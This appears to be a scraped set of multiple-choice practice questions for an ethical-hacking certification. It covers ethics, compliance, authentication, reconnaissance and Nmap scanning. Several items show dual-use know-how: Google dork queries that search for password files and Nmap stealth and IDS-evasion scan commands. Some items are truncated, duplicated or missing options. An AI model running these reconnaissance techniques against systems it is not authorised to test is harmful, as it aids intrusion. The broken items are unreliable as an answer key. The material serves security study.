No student devices needed. Know more
480 questions
Which of the following statements regarding ethical hacking is incorrect?
Ethical hackers should never use tools or methods that have the potential of exploiting vulnerabilities in an organization’s systems.
Testing should be remotely performed offsite.
An organization should use ethical hackers who do not sell vendor hardware/software or other consulting services.
Ethical hacking should not involve writing to or modifying the target systems.
First thing you do every office day is to check your email inbox. One morning, you received an email from your best friend and the subject line is quite strange. What should you do?
Delete the email and pretend nothing happened.
Forward the message to your supervisor and ask for her opinion on how to handle the situation.
Forward the message to your company’s security response team and permanently delete the message from your computer.
Reply to the sender and ask them for more information about the message contents.
Bob received this text message on his mobile phone: ““Hello, this is Scott Smelby from the Yahoo Bank. Kindly contact me for a vital transaction on: scottsmelby@yahoo.com””. Which statement below is true?
This is probably a legitimate message as it comes from a respectable organization.
Bob should write to scottsmelby@yahoo.com to verify the identity of Scott.
This is a scam as everybody can get a @yahoo address, not the Yahoo customer service employees.
This is a scam because Bob does not know Scott.
In many states sending spam is illegal. Thus, the spammers have techniques to try and ensure that no one knows they sent the spam out to thousands of users at a time. Which of the following best describes what spammers use to hide the origin of these types of e-mails?
A blacklist of companies that have their mail server relays configured to allow traffic only to their specific domain name.
Mail relaying, which is a technique of bouncing e-mail from internal to external mails servers continuously.
A blacklist of companies that have their mail server relays configured to be wide open.
Tools that will reconfigure a mail server’s relay component to send the e-mail back to the spammers occasionally.
Bob, your senior colleague, has sent you a mail regarding a deal with one of the clients. You are requested to accept the offer and you oblige. After 2 days, Bob denies that he had ever sent a mail. What do you want to know to prove yourself that it was Bob who had send a mail
Integrity
Confidentiality
Authentication
Non-Repudiation
The collection of potentially actionable, overt, and publicly available information is known as
Open-source intelligence
Open-source
An IT security engineer notices that the company’s web server is currently being hacked. What should the engineer do next?
Unplug the network connection on the company’s web server.
Determine the origin of the attack and launch a counterattack.
Record as much information as possible from the attack.
Perform a system restart on the company’s web server.
A security consultant is trying to bid on a large contract that involves penetration testing and reporting. The company accepting bids wants proof of work so the consultant prints out several audits that have been performed. Which of the following is likely to occur as a result?
The consultant will ask for money on the bid because of great work.
The consultant may expose vulnerabilities of other companies.
The company accepting bids will want the same type of format of testing.
The company accepting bids will hire the consultant because of the great work performed.
What is the most secure way to mitigate the theft of corporate information from a laptop that was left in a hotel room?
Back up everything on the laptop and store the backup in a safe place
Use a strong logon password to the operating system
Encrypt the data on the hard drive
Set a BIOS password
Alice encrypts her data using her public key PK and stores the encrypted data in the cloud. Which of the following attack scenario will compromise the privacy of her data?
Alice also stores her private key in the cloud, and Harry breaks into the cloud server as before
Alice also stores her private key , and into the cloud server as before
A hacker is an intelligent individual with excellent computer skills that grant them the ability to explore a computer’s software and hardware without the owner’s permission. Their intention can either be to simply gain knowledge or to illegally make changes. Which of the following class of hacker refers to individual who work both offensively and defensively at various times?
Gray Hat
Black Hat
Suicide Hacker (Don’t bother suffering long term jail)
White Hat
Nation-state threat actors often discover vulnerabilities and hold on to them until they want to launch a sophisticated attack. The Stuxnet attack was an unprecedented style of attack because it used four types of vulnerability. What is this style of attack called?
zero-day
zero-hour
zero-sum
no-day
A newly discovered flaw in a software application would be considered which kind of security vulnerability?
Input validation flaw
HTTP header injection vulnerability
0-day vulnerability
Time-to-check to time-to-use flaw
Assume a business-crucial web-site of some company that is used to sell handsets to the customers worldwide. All the developed components are reviewed by the security team on a monthly basis. In order to drive business further, the web-site developer decided to add some 3rd party tools on it. The tools are written in Javascript and can track the customers’ activity on the site. These tools are located on the servers of the marketing company. What is the main security risk associated with this scenario?
Internal script contents could be maliciously modified without the security team knowledge
External script contents could be maliciously modified without the security team knowledge
An IT employee got a call from one of our best customers. The caller wanted to know about the company’s network infrastructure, systems, and team. New opportunities of integration are in sight for both company and customer. What should this employee do?
Since the company’s policy is all about Customer Service, he/she will provide information.
Disregarding the call, the employee should hang up.
The employee should not provide any information without previous management authorization.
The employees can not provide any information; but, anyway, he/she will provide the name of the person in charge.
A well-intentioned researcher discovers a vulnerability on the web site of a major corporation. What should he do?
Ignore it.
Try to sell the information to a well-paying party on the dark web.
Exploit the vulnerability without harming the web site owner so that attention be drawn to the problem.
Notify the web site owner so that corrective action be taken as soon as possible to patch the vulnerability.
To reduce the attack surface of a system, administrators should perform which of the following processes to remove unnecessary software, services, and insecure configuration settings?
Harvesting
Windowing
Hardening
Stealthing
An unauthorized individual enters a building following an employee through the employee entrance after the lunch rush. What type of breach has the individual just performed?
Announced
Piggybacking
Reverse Social Engineering
Tailgating
Jimmy is standing outside a secure entrance to a facility. He is pretending to having a tense conversation on his cell phone as an authorized employee badges in. Jimmy, while still on the phone, grabs the door as it begins to close. What just happened?
Masquerading
Whaling
Phishing
Tailgating (Piggybacking)
It is an entity or event with the potential to adversely impact a system through unauthorized access, destruction, disclosure, denial of service or modification of data.
Which of the following terms best matches the definition?
Threat
Attack
Vulnerability
Risk
A certified ethical hacker (CEH) is approached by a friend who believes her husband is cheating. She offers to pay to break into her husband’s email account in order to find proof so she can take him to court. What is the ethical response?
Say no; the friend is not the owner of the account.
Say yes; the friend needs help to gather evidence.
Say yes; do the job for free.
Say no; make sure that the friend knows the risk she’s asking the CEH to take.
A computer technician is using a new version of a word processing software package when it is discovered that a special sequence of characters causes the entire computer to crash. The technician researches the bug and discovers that no one else experienced the problem. What is the appropriate next step?
Ignore the problem completely and let someone else deal with it.
Create a document that will crash the computer when opened and send it to friends.
Find an underground bulletin board and attempt to sell the bug to the highest bidder.
Notify the vendor of the bug and do not disclose it until the vendor gets a chance to issue a fix.
While you were gathering information as part of security assessments for one of your clients, you were able to gather data that show your client is involved with fraudulent activities. What should you do?
Immediately stop work and contact the proper legal authorities
Ignore the data and continue the assessment until completed as agreed
Confront the client in a respectful manner and ask her about the data
Copy the data to removable media and keep it in case you need it
A consultant has been hired by the V.P. of a large financial organization to assess the company’s security posture. During the security testing, the consultant comes across child pornography on the V.P.’s computer.
What is the consultant’s obligation to the financial organization?
Say nothing and continue with the security testing.
Stop work immediately and contact the authorities.
Delete the pornography, say nothing, and continue security testing.
Bring the discovery to the financial organization’s human resource department.
Your company performs penetration tests and security assessments for small and medium-sized business in the local area. During a routine security assessment, you discover information that suggests your client is involved in human trafficking.
What should you do?
Immediately stop work and contact the proper legal authorities
Confront the client in a respectful manner and ask her about the data
Copy the data to removable media and keep it in case you need it
Ignore the data and continue the assessment until completed as agreed
A certified ethical hacker (CEH) completed a penetration test of the main headquarters of a company almost two months ago, but has yet to get paid. The customer is suffering from financial problems, and the CEH is worried that the company will go out of business and end up not paying. What actions should the CEH take?
Threaten to publish the penetration test results if not paid.
Follow proper legal procedures against the company to request payment.
Tell other customers of the financial problems with payments from this company.
Exploit some of the vulnerabilities found on the company webserver to deface it.
An ethical hacker for a large security research firm performs penetration tests, vulnerability tests, and risk assessments. A friend recently started a company and asks the hacker to perform a penetration test and vulnerability assessment of the new company as a favor. What should the hacker’s next step be before starting work on this job?
Start by foot printing the network and mapping out a plan of attack.
Ask the employer for authorization to perform the work outside the company.
Begin the reconnaissance phase with passive information gathering and then move into active information gathering.
Use social engineering techniques on the friend’s employees to help identify areas that may be susceptible to attack.
Sophia travels a lot and worries that her laptop containing confidential documents might be stolen. What is the best protection that will work for her?
BIOS password
Password protected files
Hidden folders
Full disk encryption
Backing up data is a security must. However, it also has certain level of risks when mishandled. Which of the following is the greatest threat posed by backups?
A backup is the source of Malware or illicit information
A backup is incomplete because no verification was performed
A backup is unavailable during disaster recovery
An unencrypted backup can be misplaced or stolen
A bank stores and processes sensitive privacy information related to home loans. However, auditing has never been enabled on the system. What is the first step that the bank should take before enabling the audit feature?
Perform a cost/benefit analysis of the audit feature
Determine the impact of enabling the audit feature
Perform a vulnerability scan of the system
Allocate funds for staffing of audit log review
Low humidity in a data center can cause which of the following problems?
Heat
Corrosion
Static electricity
Airborne contamination
Which of the following examples best represents a logical or technical control?
Security tokens
Heating and air conditioning
Smoke and fire alarms
Corporate security policy
What is one thing a tester can do to ensure that the software is trusted and is not changing or tampering with critical data on the back end of a system it is loaded on?
Proper testing
Secure coding principles
Systems security and architecture review
Analysis of interrupts within the software
What would you type on the Windows command line in order to launch the Computer Management Console provided that you are logged in as an admin?
c:\\compmgmt.msc
c:\\gpedit
c:\\ncpa.cpl
c:\\services.msc
If you are to determine the attack surface of an organization, which of the following security operations is the BEST thing to do?
Running a network scan to detect network services in the corporate DMZ
Reviewing the need for a security clearance for each employee
Using configuration management to determine when and where to apply security patches
Training employees on the security policy regarding social engineering
A big company, who wanted to test their security infrastructure, wants to hire elite pen testers like you. During the interview, they asked you to show sample reports from previous penetration tests. What should you do?
Share reports, after NDA is signed
Share full reports, not redacted
Decline but, provide references
Share full reports with redactions
Your next door neighbor, that you do not get along with, is having issues with their network, so he yells to his spouse the network’s SSID and password and you hear them both clearly. What do you do with this information?
Nothing, but suggest to him to change the network’s SSID and password.
Sell his SSID and password to friends that come to your house, so it doesn’t slow down your network.
Log onto to his network, after all it’s his fault that you can get in.
Only use his network when you have large downloads so you don’t tax your own network.
What network security concept requires multiple layers of security controls to be placed throughout an IT infrastructure, which improves the security posture of an organization to defend against malicious attacks or potential vulnerabilities?
Security through obscurity
Host-Based Intrusion Detection System
Defense in depth
Network-Based Intrusion Detection System
You are performing a penetration test. You achieved access via a buffer overflow exploit and you proceed to find interesting data, such as files with usernames and passwords. You find a hidden folder that has the administrator’s bank account password and login information for the administrator’s bitcoin account.
What should you do?
Transfer money from the administrator’s account to another account.
Do not report it and continue the penetration test.
Do not transfer the money but steal the bitcoins.
Report immediately to the administrator.
Scenario: 1. Victim opens the attacker’s web site.
2. Attacker sets up a web site which contains interesting and attractive content like ‘Do you want to make $1000 in a day?’.
3. Victim clicks to the interesting and attractive content url.
4. Attacker creates a transparent ‘iframe’ in front of the url which victim attempt to click, so victim thinks that he/she clicks to the ‘Do you want to make $1000 in a day?’ url but actually he/she clicks to the content or url that exists in the transparent ‘iframe’ which is setup by the attacker. What is the name of the attack which is mentioned in the scenario?
HTTP Parameter Pollution (Manipulating query parameters on URL)
HTML Injection (Control input point to inject arbitrary HTML code into vulnerable page)
Session Fixation (Hijack valid user session, allows one person to fixate another person session ID)
ClickJacking Attack (UI redress attack when user is tricked to click on something)
Which type of security feature stops vehicles from crashing through the doors of a building?
Turnstile
Bollards
Mantrap
Receptionist
During a security audit of IT processes, an IS auditor found that there were no documented security procedures. What should the IS auditor do?
Identify and evaluate existing practices
Create a procedures document
Conduct compliance testing
Terminate the audit
Which of the following is an advantage of utilizing security testing methodologies to conduct a security audit?
They provide a repeatable framework.
Anyone can run the command line scripts.
They are available at low cost.
They are subject to government regulation.
Which of the following can the administrator do to verify that a tape backup can be recovered in its entirety?
Restore a random file.
Perform a full restore.
Read the first 512 bytes of the tape.
Read the last 512 bytes of the tape.
Knowing the nature of backup tapes, which of the following is the MOST RECOMMENDED way of storing backup tapes?
In a cool dry environment
Inside the data center for faster retrieval in a fireproof safe
In a climate controlled facility offsite
On a different floor in the same building
Security Policy is a definition of what it means to be secure for a system, organization or other entity. For Information Technologies, there are sub-policies like; Computer Security Policy, Information Protection Policy, Information Security Policy, Network Security Policy, Physical Security Policy, Remote Access Policy, User Account Policy. What is main theme of the sub-policies for Information Technologies?
Authenticity, Confidentiality, Integrity
Confidentiality, Integrity, Availability
Availability, Non-repudiation, Confidentiality
Authenticity, Integrity, Non-repudiation
An enterprise recently moved to a new office and the new neighborhood is a little risky. The CEO wants to monitor the physical perimeter and the entrance doors 24 hours. What is the best option to do this job?
Use fences in the entrance doors.
Install a CCTV with cameras pointing to the entrance doors and the street.
Use an IDS in the entrance doors and install some of them near the corners.
Use lights in all the entrance doors and along the company’s perimeter.
If executives are found liable for not properly protecting their company’s assets and information systems, what type of law would apply in this situation?
Common
Civil
International
Criminal
Which type of security document is written with specific step-by-step details?
Process
Procedure
Policy
Paradigm
A security policy will be more accepted by employees if it is consistent and has the support of
coworkers.
executive management.
the security officer.
a supervisor.
Which of the following is a detective control?
Smart card authentication
Security policy
Audit trail
Continuity of operations plan
Which of the following is a preventive control?
Smart card authentication
Security policy
Audit trail
Continuity of operations plan
A Network Administrator was recently promoted to Chief Security Officer at a local university. One of employee’s new responsibilities is to manage the implementation of an RFID card access system to a new server room on campus. The server room will house student enrollment information that is securely backed up to an off-site location.
During a meeting with an outside consultant, the Chief Security Officer explains that he is concerned that the existing security controls have not been designed properly. Currently, the Network Administrator is responsible for approving and issuing RFID card access to the server room, as well as reviewing the electronic access logs on a weekly basis.
Which of the following is an issue with the situation?
Segregation of duties
Undue influence
Lack of experience
Inadequate disaster recovery plan
A company has hired a security administrator to maintain and administer Linux and Windows-based systems.
Written in the nightly report file is the following:
Firewall log files are at the expected value of 4 MB. The current time is 12am. Exactly two hours later the size has decreased considerably. Another hour goes by and the log files have shrunk in size again.
Which of the following actions should the security administrator take?
Log the event as suspicious activity and report this behavior to the incident response team immediately.
Log the event as suspicious activity, call a manager, and report this as soon as possible.
Run an anti-virus scan because it is likely the system is infected by malware.
Log the event as suspicious activity, continue to investigate, and act according to the site’s security policy.
The precaution of prohibiting employees from bringing personal computing devices into a facility is what type of security control?
Physical
Procedural
Technical
Compliance
Which of the following business challenges could be solved by using a vulnerability scanner?
Auditors want to discover if all systems are following a standard naming convention.
A web server was compromised and management needs to know if any further systems were compromised.
There is an emergency need to remove administrator access from multiple machines for an employee that quit.
There is a monthly requirement to test corporate compliance with host application usage and security policies.
How can a policy help improve an employee’s security awareness?
By implementing written security procedures, enabling employee security training, and promoting the benefits of security
By using informal networks of communication, establishing secret passing procedures, and immediately terminating employees
By sharing security secrets with employees, enabling employees to share secrets, and establishing a consultative help line
By decreasing an employee’s vacation time, addressing ad-hoc employment clauses, and ensuring that managers know employee strengths
Due to a slowdown of normal network operations, IT department decided to monitor internet traffic for all of the employees. From a legal stand point, what would be troublesome to take this kind of measure?
All of the employees would stop normal work activities
IT department would be telling employees who the boss is
Not informing the employees that they are going to be monitored could be an invasion of privacy.
The network could still experience traffic slow down.
Craig received a report of all the computers on the network that showed all the missing patches and weak passwords. What type of software generated this report?
a port scanner
a vulnerability scanner
a virus scanner
a malware scanner
Which of the following processes evaluates the adherence of an organization to its stated security policy?
Vulnerability assessment
Penetration testing
Risk assessment
Security auditing
The intrusion detection system at a software development company suddenly generates multiple alerts regarding attacks against the company’s external webserver, VPN concentrator, and DNS servers. What should the security team do to determine which alerts to check first?
Investigate based on the maintenance schedule of the affected systems.
Investigate based on the service level agreements of the systems.
Investigate based on the potential effect of the incident.
Investigate based on the order that the alerts arrived in.
As a Certified Ethical Hacker, you were contracted by a private firm to conduct an external security assessment through penetration testing.
What document describes the specifics of the testing, the associated violations, and essentially protects both the organization’s interest and your liabilities as a tester?
Project Scope
Rules of Engagement
Service Level Agreement
Non-Disclosure Agreement
In an internal security audit, the white hat hacker gains control over a user account and attempts to acquire access to another account’s confidential files and information. How can he achieve this?
Port Scanning
Hacking Active Directory
Privilege Escalation
Shoulder-Surfing
Least privilege is a security concept that requires that a user is
limited to those functions required to do the job.
given root or administrative privileges.
trusted to keep all data and access to that data under their sole control.
given privileges equal to everyone else in the department.
When creating a security program, which approach would be used if senior management is supporting and enforcing the security policy?
A bottom-up approach
A top-down approach
A senior creation approach
An IT assurance approach
Defining rules, collaborating human workforce, creating a backup plan, and testing the plans are within what phase of the Incident Handling Process?
Preparation phase
Containment phase
Recovery phase
Identification phase
What is the term coined for logging, recording and resolving events in a company?
Internal Procedure
Security Policy
Incident Management Process
Metrics
Describes the specifics of the testing, the associated violations, and essentially protects both the bank’s interest and your liabilities as a tester?
Service Level Agreement
Non-Disclosure Agreement
Terms of Engagement
Project Scope
Which initial procedure should an ethical hacker perform after being brought into an organization?
Begin security testing.
Turn over deliverables.
Sign a formal contract with non-disclosure.
Assess what the organization is trying to protect.
Which of the following ensures that updates to policies, procedures, and configurations are made in a controlled and documented fashion?
Regulatory compliance
Peer review
Change management
Penetration testing
How do employers protect assets with security policies pertaining to employee surveillance activities?
Employers promote monitoring activities of employees as long as the employees demonstrate trustworthiness.
Employers use informal verbal communication channels to explain employee monitoring activities to employees.
Employers use network surveillance to monitor employee email traffic, network access, and to record employee keystrokes.
Employers provide employees written statements that clearly discuss the boundaries of monitoring activities and consequences.
Which United States legislation mandates that the Chief Executive Officer (CEO) and the Chief Financial Officer (CFO) must sign statements verifying the completeness and accuracy of financial reports?
Sarbanes-Oxley Act (SOX)
Gramm-Leach-Bliley Act (GLBA)
Fair and Accurate Credit Transactions Act (FACTA)
Federal Information Security Management Act (FISMA)
It has been reported to you that someone has caused an information spillage on their computer. You go to the computer, disconnect it from the network, remove the keyboard and mouse, and power it down. What step in incident handling did you just complete?
Containment (Keeping something harmful under control)
Eradication (Removing cause of incident)
Recovery (Restoration, back to normal)
Discovery
Which vital role does the U.S. Computer Security Incident Response Team (CSIRT) provide?
Incident response services to any user, company, government agency, or organization in partnership with the Department of Homeland Security
Maintenance of the nation’s Internet infrastructure, builds out new Internet infrastructure, and decommissions old Internet infrastructure
Registration of critical penetration testing for the Department of Homeland Security and public and private sectors
Measurement of key vulnerability assessments on behalf of the Department of Defense (DOD) and State Department, as well as private sectors
Which of the following is a primary service of the U.S. Computer Security Incident Response Team (CSIRT)?
CSIRT provides an incident response service to enable a reliable and trusted single point of contact for reporting computer security incidents worldwide.
CSIRT provides a computer security surveillance service to supply a government with important intelligence information on individuals travelling abroad.
CSIRT provides a penetration testing service to support exception reporting on incidents worldwide by individuals and multi-national corporations.
CSIRT provides a vulnerability assessment service to assist law enforcement agencies with profiling an individual’s property or company’s asset.
What are the three types of compliance that the Open Source Security Testing Methodology Manual (OSSTMM) recognizes?
Legal, performance, audit
Audit, standards based, regulatory
Contractual, regulatory, industry
Legislative, contractual, standards based
Under the “Post-attack Phase and Activities”, it is the responsibility of the tester to restore the systems to a pretest state.
Which of the following activities should not be included in this phase?
I. Removing all files uploaded on the system
II. Cleaning all registry entries
III. Mapping of network state
IV. Removing all tools and maintaining backdoor for reporting
III
IV
III and IV
All should be included
It is a regulation that has a set of guidelines, which should be adhered to by anyone who handles any electronic medical data. These guidelines stipulate that all medical practices must ensure that all necessary measures are in place while saving, accessing, and sharing any electronic medical data to keep patient data secure.
Which of the following regulations best matches the description?
COBIT
FISMA
ISO/IEC 27002
HIPAA
Which of the following act requires employers standard national numbers to identify them on standard transactions
PCI-DSS
HIPAA
DMCA
SOX
Which of the following tools would be the best choice for achieving compliance with PCI Requirement 11?
Truecrypt
Sub7
Nessus
Clamwin
Security and privacy of/on information systems are two entities that requires lawful regulations. Which of the following regulations defines security and privacy controls for Federal information systems and organizations?
NIST SP 800-53
PCI-DSS
EU Safe Harbor
HIPAA
International Organization for Standardization (ISO) standard 27002 provides guidance for compliance by outlining
guidelines and practices for security controls.
financial soundness and business viability metrics.
standard best practice for configuration management.
contract agreement writing standards.
What is the name of the international standard that establishes a baseline level of confidence in the security functionality of IT products by providing a set of requirements for evaluation?
Blue Book
ISO 26029
Common Criteria
The Wassenaar Agreement
Which of the following guidelines or standards is associated with the credit card industry?
Control Objectives for Information and Related Technology (COBIT)
Sarbanes-Oxley Act (SOX)
Health Insurance Portability and Accountability Act (HIPAA)
Payment Card Industry Data Security Standards (PCI DSS)
This international organization regulates billions of transactions daily and provides security guidelines to protect personally identifiable information (PII). These security controls provide a baseline and prevent low-level hackers sometimes known as script kiddies from causing a data breach. Which of the following organizations is being described?
Payment Card Industry (PCI)
Center for Disease Control (CDC)
Institute of Electrical and Electronics Engineers (IEEE)
International Security Industry Organization (ISIO)
What is not a PCI compliance recommendation?
Limit access to card holder data to as few individuals as possible.
Use encryption to protect all transmission of card holder data over any public network.
Rotate employees handling credit card transactions on a yearly basis to different departments.
Use a firewall between the public network and the payment card data.
When does the Payment Card Industry Data Security Standard (PCI-DSS) require organizations to perform external and internal penetration testing?
At least twice a year and after any significant infrastructure or application upgrade or modification
At least once a year and after any significant infrastructure or application upgrade or modification
At least once every two years and after any significant infrastructure or application upgrade or modification
At least once every three years and after any significant infrastructure or application upgrade or modification
Which of the following is NOT an ideal choice for biometric controls?
Iris patterns
Fingerprints
Height and weight
Voice
What are the three types of authentication?
Something you: know, remember, prove
Something you: have, know, are
Something you: show, prove, are
Something you: show, have, prove
By using a smart card and pin, you are using a two-factor authentication that satisfies
Something you know and something you are
Something you have and something you know
Something you have and something you are
Something you are and something you remember
Which of the following is an example of two factor authentication?
PIN Number and Birth Date
Username and Password
Digital Certificate and Hardware Token
Fingerprint and Smartcard ID
Which set of access control solutions implements two-factor authentication?
USB token and PIN
Fingerprint scanner and retina scanner
Password and PIN
Account and password
Bob learned that his username and password for a popular game has been compromised. He contacts the company and resets all the information. The company suggests he use two-factor authentication, which option below offers that?
A new username and password
Disable his username and use just a fingerprint scanner.
His username and a stronger password
A fingerprint scanner and his username and password
Todd has been asked by the security officer to purchase a counter-based authentication system. Which of the following best describes this type of system?
A biometric system that bases authentication decisions on behavioral attributes.
A biometric system that bases authentication decisions on physical attributes.
An authentication system that creates one-time passwords that are encrypted with secret keys.
An authentication system that uses passphrases that are converted into virtual passwords.
Steve, a scientist who works in a governmental security agency, developed a technological solution to identify people based on walking patterns and implemented this approach to a physical control access. A camera captures people walking and identifies the individuals using Steve’s approach. After that, people must approximate their RFID badges. Both the identifications are required to open the door. In this case, we can say:
Ans: The solution implements the two authentication factors: physical object and physical characteristic
...
Which of the following is optimized for confidential communications, such as bidirectional voice and video?
RC4
RC5
MD4
MD5
Which type of scan measures a person’s external features through a digital video camera?
Iris scan
Retinal scan
Facial recognition scan
Signature kinetics scan
Which type of scan is used on the eye to measure the layer of blood vessels?
Facial recognition scan
Retinal scan
Iris scan
Signature kinetics scan
What is the main reason the use of a stored biometric is vulnerable to an attack?
The digital representation of the biometric might not be unique, even if the physical characteristic is unique.
Authentication using a stored biometric compares a copy to a copy instead of the original to a copy.
A stored biometric is no longer “something you are” and instead becomes “something you have”.
A stored biometric can be stolen and used by an attacker to impersonate the individual identified by the biometric.
What is the best defense against privilege escalation vulnerability?
Patch systems regularly and upgrade interactive login privileges at the system administrator level.
Run administrator and applications on least privileges and use a content registry for tracking.
Run services with least privileged accounts and implement multi-factor authentication and authorization.
Review user roles and administrator privileges for maximum utilization of automation services.
Which access control mechanism allows for multiple systems to use a central authentication server (CAS) that permits users to authenticate once and gain access to multiple systems?
Role Based Access Control (RBAC)
Discretionary Access Control (DAC)
Windows authentication
Single sign-on
When purchasing a biometric system, one of the considerations that should be reviewed is the processing speed. Which of the following best describes what it is meant by processing?
The amount of time it takes to convert biometric data into a template on a smart card.
The amount of time and resources that are necessary to maintain a biometric system.
The amount of time it takes to be either accepted or rejected form when an individual provides Identification and authentication information.
How long it takes to setup individual user accounts.
A large mobile telephony and data network operator has a data that houses network elements. These are essentially large computers running on Linux. The perimeter of the data center is secured with firewalls and IPS systems. What is the best security policy concerning this setup?
Network elements must be hardened with user ids and strong passwords. Regular security tests and audits should be performed.
As long as the physical access to the network elements is restricted, there is no need for additional measures.
There is no need for specific security measures on the network elements as long as firewalls and IPSsystems exist.
The operator knows that attacks and down time are inevitable and should have a backup site.
A company recently hired your team of Ethical Hackers to test the security of their network systems. The company wants to have the attack be as realistic as possible. They did not provide any information besides the name of their company. What phase of security testing would your team jump in right away?
Scanning
Reconnaissance
Escalation
Enumeration
Passive reconnaissance involves collecting information through which of the following?
Social engineering
Network traffic sniffing
Man in the middle attacks
Publicly accessible sources
Which results will be returned with the following Google search query? site:target.com -site:Marketing.target.com accounting
Results from matches on the site marketing.target.com that are in the domain target.com but do not include the word accounting
Results for matches on target.com and Marketing.target.com that include the word “accounting”
Results matching “accounting” in domain target.com but not on the site Marketing.target.com
Results matching all words in the query
Which one of the following Google advanced search operators allows an attacker to restrict the results to those websites in the given domain
[site:]
[cache:]
[link:]
[inurl:]
This phase will increase the odds of success in later phases of the penetration test. It is also the very first step in Information Gathering, and it will tell you what the “landscape” looks like. Which of the following is the most important phase of ethical hacking wherein you need to spend considerable amount of time?
Gaining access
Escalating privileges
Network mapping
Footprinting
In which phase of the ethical hacking process can Google hacking be employed? This is a technique that involves manipulating a search string with specific operators to search for vulnerabilities. Example:
allintitle: root passwd
Maintaining Access
Gaining Access
Reconnaissance
Scanning and Enumeration
When you are collecting information to perform a data analysis, Google commands are very useful to find sensitive information and files. These files may contain information about passwords, system functions, or documentation.
What command will help you to search files using Google as a search engine?
site: target.com filetype:xls username password email
inurl: target.com filename:xls username password email
domain: target.com archive:xls username password email
site: target.com file:xls username password email
What tool should you use when you need to analyze extracted metadata from files you collected when you were in the initial stage of penetration test (information gathering)?
Armitage (GUI that visualizes targets and recommends exploits)
Dimitry (Deepmagic Information Gathering Tool)
Metagoofil
cdpsnarf (extract information from CDP packets)
What is the way to decide how a packet will move from an untrusted outside host to a protected inside that is behind a firewall, which permits the hacker to determine which ports are open and if the packets can pass through the packet-filtering of the firewall.
Firewalking (Active reconnaissance technique, analyze IP packet responses to determine ACL filters and map networks)
Session hijacking (exploit session to gain unauthorized access to information/service)
Man-in-the-middle attack (secretly relays and alters the communication between two parties)
Network sniffing (sniff out data flowing over computer network links in real time)
Firewalk has just completed the second phase (the scanning phase) and a technician receives the output shown below. What conclusions can be drawn based on these scan results?
TCP port 21 – no response
TCP port 22 – no response
TCP port 23 – Time-to-live exceeded
The firewall itself is blocking ports 21 through 23 and a service is listening on port 23 of the target host.
The lack of response from ports 21 and 22 indicate that those services are not running on the destination server.
The scan on port 23 passed through the filtering device. This indicates that port 23 was not blocked at the firewall.
The scan on port 23 was able to make a connection to the destination host prompting the firewall to respond with a TTL error.
A penetration tester was hired to perform a penetration test for a bank. The tester began searching for IP ranges owned by the bank, performing lookups on the bank’s DNS servers, reading news articles online about the bank, watching what times the bank employees come into work and leave from work, searching the bank’s job postings (paying special attention to IT related jobs), and visiting the local dumpster for the bank’s corporate office. What phase of the penetration test is the tester currently in?
Information reporting
Vulnerability assessment
Active information gathering
Passive information gathering
Which of the following provides a security professional with most information about the system’s security posture
Port scanning
banner grabbing
service identification
A Security Engineer at a medium-sized accounting firm has been tasked with discovering how much information can be obtained from the firm’s public facing web servers. The engineer decides to start by using netcat to port 80. The engineer receives this output: HTTP/1.1 200 OK
Server: Microsoft-IIS/6
Expires: Tue, 17 Jan 2011 01:41:33 GMT
Date: Mon, 16 Jan 2011 01:41:33 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Wed, 28 Dec 2010 15:32:21 GMT
ETag: “b0aac0542e25c31:89d”
Content-Length: 7369
Which of the following is an example of what the engineer performed?
Banner grabbing
Cross-site scripting
SQL injection
Whois database query
A hacker named Jack is trying to compromise a bankís computer system. He needs to know the operating system of that computer to launch further attacks.
What process would help him?
Banner grabbing (“welcome” screen that shows system information)
...
An attacker tries to do banner grabbing on a remote web server and executes the following command.
$ nmap -sV host.domain.com -p 80
He gets the following output.
Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-08 19:10 EST
Nmap scan report for host.domain.com (108.61.158.211)
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
Service detection performed. Please report any incorrect results at http://nmap.org/submit/.Nmap done: 1 IP address (1 host up) scanned in 6.42 seconds
What did the hacker accomplish?
nmap can’t retrieve the version number of any running remote service.
The hacker successfully completed the banner grabbing.
The hacker should’ve used nmap -O host.domain.com.
The hacker failed to do banner grabbing as he didn’t get the version of the Apache web server.
Which of the following open source tools would be the best choice to scan a network for potential targets?
NMAP
NIKTO
CAIN
John the Ripper
Which of the following resources does NMAP need to be used as a basic vulnerability scanner covering several vectors like SMB, HTTP and FTP?
Metasploit scripting engine
Nessus scripting engine
NMAP scripting engine
SAINT scripting engine
You are using NMAP to resolve domain names into IP addresses for a ping sweep later.
Which of the following commands looks for IP addresses?
>host -t a hackeddomain.com
>host -t soa hackeddomain.com
>host -t ns hackeddomain.com
>host -t AXFR hackeddomain.com
Which of the following is an NMAP script that could help detect HTTP Methods such as GET, POST, HEAD, PUT, DELETE, TRACE?
http-git
http-headers
http enum
http-methods
You’re doing an internal security audit and you want to find out what ports are open on all the servers. What is the best way to find out?
Scan servers with Nmap
Physically go to each server
Scan servers with MBSA
Telent to every port on each server
NMAP -sn 192.168.11.200-215
The NMAP command above performs which of the following?
A ping scan
A trace sweep
An operating system detect
A port scan
You are attempting to run an Nmap port scan on a web server. Which of the following commands would result in a scan of common ports with the least amount of noise in order to evade IDS?
nmap -sT -O -T0 (T0 least noise, sT means TCP connect scan)
nmap -sT -O -T0 (T0 least noise, sT means TCP connect scan)
If you want to only scan fewer ports than the default scan using Nmap tool, which option would you use
-r
-F (Scan only those ports listed in nmap_services file)
-sP (Ping scan)
-P (Specify ports)
What would you enter if you wanted to perform a stealth scan using Nmap
nmap –sS (sS means stealth scan)
nmap –sS (sS means stealth scan)
Port scanning can be used as part of a technical assessment to determine network vulnerabilities. The TCP XMAS scan is used to identify listening ports on the targeted system. While doing a technical assessment to determine network vulnerabilities, you used the TCP XMAS scan. What would be the response of all open ports?
The port will send an ACK
The port will send a SYN
The port will ignore the packets
The port will send an RST
An attacker scans a host with the below command. Which three flags are set
# nmap -sX host.domain.com
This is Xmas scan. SYN and ACK flags are set.
This is SYN scan. SYN flag is set.
This is Xmas scan. URG, PUSH and FIN are set.
This is ACK scan. ACK flag is set.
Which of the following will perform an Xmas scan using NMAP? (sX means Xmas)
nmap -sA 192.168.1.254 (ACK Scan)
nmap -sP 192.168.1.254 (Ping scan)
nmap -sX 192.168.1.254
nmap -sV 192.168.1.254 (Version detection)
What is the best Nmap command to use when you want to list all devices in the same network quickly after you successfully identified a server whose IP address is 10.10.0.5?
nmap -T4 -F 10.10.0.0/24 (-F scan only those ports listed in nmap_services file)
